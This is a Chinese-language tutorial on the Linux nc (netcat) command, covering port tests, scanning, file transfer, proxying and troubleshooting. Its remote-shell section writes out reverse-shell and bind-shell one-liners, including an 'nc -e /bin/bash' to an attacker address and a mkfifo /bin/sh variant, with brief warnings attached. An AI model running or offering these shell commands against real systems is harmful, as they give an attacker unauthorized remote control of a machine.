插件窝 干货文章 Linux nc命令如何使用

Linux nc命令如何使用

端口 bash nc 654    来源:    2025-04-24

nc(netcat)是Linux中强大的网络工具,被誉为"网络瑞士军刀",可用于TCP/UDP连接、端口扫描、文件传输等。以下是详细使用指南:


一、基础连接测试

  1. TCP端口测试(模拟Telnet)

    nc -v 192.168.1.100 80  # 测试目标主机的80端口
    
    • -v:显示详细输出
  2. UDP端口测试

    nc -u -v 192.168.1.100 53  # 测试DNS服务(UDP 53)
    

二、端口扫描

nc -zv 192.168.1.100 20-30  # 扫描20到30端口
  • -z:无数据传输(快速扫描)
  • -w 2:设置超时2秒(默认无超时)

三、文件传输

  1. 发送文件(接收方先监听)

    # 接收方(监听9999端口保存文件)
    nc -l -p 9999 > received_file.tar.gz
    
    # 发送方
    nc -N 192.168.1.100 9999 < file_to_send.tar.gz
    
    • -N:发送完成后关闭连接(避免挂起)
  2. 目录传输(结合tar)

    # 发送整个目录
    tar czf - /path/to/dir | nc -l -p 9999
    
    # 接收方
    nc 192.168.1.100 9999 | tar xzvf -
    

四、远程Shell

  1. 反弹Shell(慎用!)

    # 目标机(主动连接攻击机)
    nc -e /bin/bash 192.168.1.200 4444
    
    # 攻击机监听
    nc -lvp 4444
    
    • 现代系统可能需要替代命令: bash mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.200 4444 >/tmp/f
  2. 绑定Shell

    # 目标机(风险高!)
    nc -lvp 5555 -e /bin/bash
    
    # 攻击机连接
    nc 192.168.1.100 5555
    

五、高级用法

  1. HTTP请求

    echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80
    
  2. 代理跳板

    nc -x proxy_ip:1080 -X 5 target_ip 80  # SOCKS5代理
    
  3. 端口转发

    nc -l -p 8080 -c "nc 192.168.1.100 80"
    

六、安全注意事项

  1. 加密替代方案:

    • 使用ncat(来自nmap项目,支持SSL) bash ncat --ssl -lvp 443
    • 或通过SSH隧道: bash ssh -L 9999:localhost:80 user@jumpserver
  2. 防火墙配置:

    iptables -A INPUT -p tcp --dport 9999 -j DROP  # 阻止nc端口
    

七、常见问题解决

  1. nc: command not found

    # Debian/Ubuntu
    sudo apt install netcat-openbsd
    
    # RHEL/CentOS
    sudo yum install nc
    
  2. 不同版本差异

    • netcat-traditional:使用-p指定监听端口
    • ncat:支持更多协议(如SSL)

八、常用组合命令

场景 命令示例
快速测试邮件服务 nc -zv smtp.example.com 25
调试Memcached echo "stats" | nc 127.0.0.1 11211
检查Redis echo "PING\r\n" | nc 127.0.0.1 6379
简易聊天室 nc -l -p 9999(A端)→ nc 对方IP 9999(B端)

掌握这些技巧后,你可以灵活应对各种网络调试场景。生产环境中建议使用更安全的替代工具(如ncatssh)。